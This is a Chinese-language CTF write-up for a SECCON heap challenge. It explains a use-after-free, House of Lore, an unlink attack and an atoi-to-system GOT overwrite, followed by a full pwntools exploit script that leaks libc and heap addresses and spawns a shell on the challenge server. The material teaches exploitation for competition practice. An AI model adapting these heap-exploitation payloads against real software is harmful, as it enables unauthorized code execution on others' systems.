Seccon较为复杂的一题,一道限制很多但是充满巧合的Heap利用

程序分析

整个程序逻辑稍微有些复杂,总体来说是一个糖果购买系统,管理员用户可以增加Order,此时会为相应的Order分配空间;而普通用户可以购买相应的Order,当一个Order被购买完时这块空间将被释放。而管理员用户也可以删除account以及更改account的密码,本题的利用过程就围绕这几个功能展开。

漏洞分析

程序的所有输入都采用read的方式进行,故在结尾都没有补0的操作,使得leak的过程相对容易。而程序中的漏洞出现在管理员删除account之后并没有将指向记录用户信息的结构体的指针清空,而是将其做了一个减16的奇怪操作,造成了一个UAF。之后在修改密码时,则根据P+32的位置来判断是否使用,若不为0,则可以向P+24位置写入8个字节,这样结合之前P-16的操作,实际修改的位置正好是chunk的bk指针。

利用思路

由于Order增加之后其description的内容可以完全控制,且chunk的大小是0x90——恰好与一个account结构的大小相同,如此一来,通过description占位就可以通过P+32位置的检查,从而利用UAF修改free chunk的bk指针。修改bk的利用方法,除了Unsorted bin attack以外,还有利用House of Lore这种能够连续取出2块small bin chunk的方法,需要在堆上构造2个fake chunk,完成原先的small bin chunk => fake chunk 1 => fake chunk 2的链,伪造出2个bk和2个fd的指针。之后通过2次malloc对应大小的chunk即可取到fake chunk 1。

因为程序没有开启PIE,在House of Lore制造出Overlap Chunk之后,就可以利用程序bss上的堆指针做经典的Unlink攻击了,这里巧合的是Unlink攻击的最终结果是将堆指针P改为&P-24的位置,而修改密码的功能又是能控制P+24的8个字节,恰好能够改掉P自身,之后直接修改atoi的GOT即可完成利用。

参考脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('lazenca0x0.pwn.seccon.jp', 9999)

r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
se = lambda x: p.send(x)
sel = lambda x: p.sendline(x)
pick32 = lambda x: u32(x[:4].ljust(4, '\0'))
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))

libc = {
'base': 0x0,
'system': 0x45390,
'leaked': 0x3c4c78,
}

heap = {
'base': 0x0,
'leaked': 0x6e0,
'fake_chunk1': 0xe30,
'fake_chunk2': 0xe50,
'first_chunk': 0xdf0
}

def set_base(mod, ref, addr):
base = addr - mod[ref]
for element in mod:
mod[element] += base

def admin_login():
ru('ID.\n> ')
se('Admin')
ru('Password.\n> ')
se('admin')

def login(ID, password):
ru('ID.\n> ')
se(ID)
ru('Password.\n> ')
se(password)

def create_account(ID, password, profile):
ru('1) No\n')
se('0')
ru('New ID.\n')
se(ID)
ru('New Password.\n')
se(password)
ru('profile.\n')
se(profile)

def order_menu():
ru('Command : ')
se('4')

def order_exit():
ru('Command : ')
se('5')

def add_order_list(idx=0):
ru('Command : ')
se('2')
ru('order.\n>')
se(str(idx))

def order_check(info):
ru('Command : ')
se('4')
ru('1) No\n')
se('0')
for price, desc in info:
ru('candy.\n')
ru('candy.\n')
se(str(price))
ru('candy.\n')
se(desc)

def purchase(idx, num, comment=None):
ru('Command : ')
se('2')
ru('purchased.\n')
se(str(idx))
ru('purchase.\n')
se(str(num))
if comment:
ru('comment for candy.\n')
se(comment)

def logout():
ru('Command : ')
se('9')
ru('No\n')
se('0')

def acc_menu():
ru('Command : ')
se('5')

def acc_exit():
ru('Command : ')
se('3')

def acc_delete(idx):
ru('Command : ')
se('1')
ru('to delete\n')
se(str(idx))

def acc_pw(idx, pw):
ru('Command : ')
se('2')
ru('change PW\n')
se(str(idx))
ru('Password.\n')
se(pw)

# Leak libc & heap

admin_login()
order_menu()
add_order_list(0)
add_order_list(1)
order_check([(0, 'AAAABBBB'), (0, 'CCCCDDDD')])
order_exit()
purchase(0, 10, 'EEEEFFFF')
order_menu()
add_order_list(0)
ru('Order code : ')
leaked = pick64('\x78' + rud('\nOrder count')[1:])
print('[+] leaked @ %#x' % leaked)
set_base(libc, 'leaked', leaked)
print('[+] libc base @ %#x' % libc['base'])

add_order_list(0)
add_order_list(2)
order_check([(0, 'EEEEFFFF'), (0, 'FFFFFFFF')])
order_exit()

order_menu()
add_order_list(3)
ru('Order code : ')
leaked_heap = pick64('\xe0' + rud('\nOrder count')[1:])
print('[+] leaked heap @ %#x' % leaked_heap)
set_base(heap, 'leaked', leaked_heap)
print('[+] heap base @ %#x' % heap['base'])
order_check([(0, 'GGGGGGGG')])
add_order_list(4)
order_exit()

logout()
login('AAAA', 'BBBB')
create_account('AAAA', 'AAAA', 'AAAA')
admin_login()

logout()
login('CCCC', 'DDDD')
create_account('BBBB', 'BBBB', 'BBBB')
admin_login()
purchase(0, 10, 'HHHHHHHH')
acc_menu()
acc_delete(2)
acc_exit()

# House of Lore

order_menu()
fake_fd1 = heap['fake_chunk2']
fake_fd2 = heap['first_chunk']
fake_bk2 = heap['fake_chunk1']
payload = 'A' * 0x30 + p64(0) + p64(0x91) + p64(fake_fd1) + p64(0) + p64(0) + p64(0x91) + p64(fake_fd2) + p64(fake_bk2)
order_check([(0, payload)])
order_exit()
purchase(3, 10, 'IIIIIIII')

acc_menu()
acc_pw(2, p64(heap['fake_chunk2']))
acc_exit()

fd = 0x604250 - 24
bk = 0x604250 - 16
payload = p64(fd) + p64(bk)
order_menu()
add_order_list(5)
order_check([(0, payload)])
order_exit()

purchase(0, 20, 'KKKKKKKK')
acc_menu()
acc_pw(2, p64(bk))
acc_exit()

payload = 'L' * 0x20 + p64(0x90) + p64(0x90)
order_menu()
add_order_list(6)
order_check([(0, payload)])
order_exit()

# Unlink

acc_menu()
acc_delete(3)
acc_exit()

atoi_got = 0x604098
acc_menu()
acc_pw(2, p64(atoi_got-24))
acc_pw(2, p64(libc['system']))

p.interactive()